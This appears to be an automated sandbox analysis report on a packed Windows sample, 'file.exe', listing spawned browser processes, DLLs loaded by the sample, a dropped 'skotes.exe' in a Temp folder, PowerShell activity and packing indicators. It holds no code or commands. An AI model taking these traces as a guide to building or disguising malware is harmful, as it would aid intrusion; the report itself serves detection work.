Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4504 --field-trial-handle=1896,i,6279673356786267124,1049991761834270204,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2096,i,9265304522972539897,9185506368956134932,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2228 -parentBuildID 20230927232528 -prefsHandle 2152 -prefMapHandle 2132 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a3c6f543-2f64-46ba-bc00-280bf6150280} 2928 "\\.\pipe\gecko-crash-server-pipe.2928" 1a8a5f6cf10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1136 -parentBuildID 20230927232528 -prefsHandle 4464 -prefMapHandle 4460 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {28e04a16-f2f3-4c95-9817-ee287afde24a} 2928 "\\.\pipe\gecko-crash-server-pipe.2928" 1a8b8c3fb10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3164 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5300 -prefMapHandle 3188 -prefsLen 33119 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f24f9574-f2ff-4886-877e-c3019b1407de} 2928 "\\.\pipe\gecko-crash-server-pipe.2928" 1a8b74c0910 utility
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-GB --service-sandbox-type=audio --mojo-platform-channel-handle=6812 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6864 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6896 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-GB --service-sandbox-type=audio --mojo-platform-channel-handle=6812 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7660 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=7708 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.9.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 1921024 > 1048576

Source: file.exe

Static PE information: Raw size of dkmnrssd is bigger than: 0x100000 < 0x1a3400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.310000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dkmnrssd:EW;tqafgssw:EW;.taggant:EW;
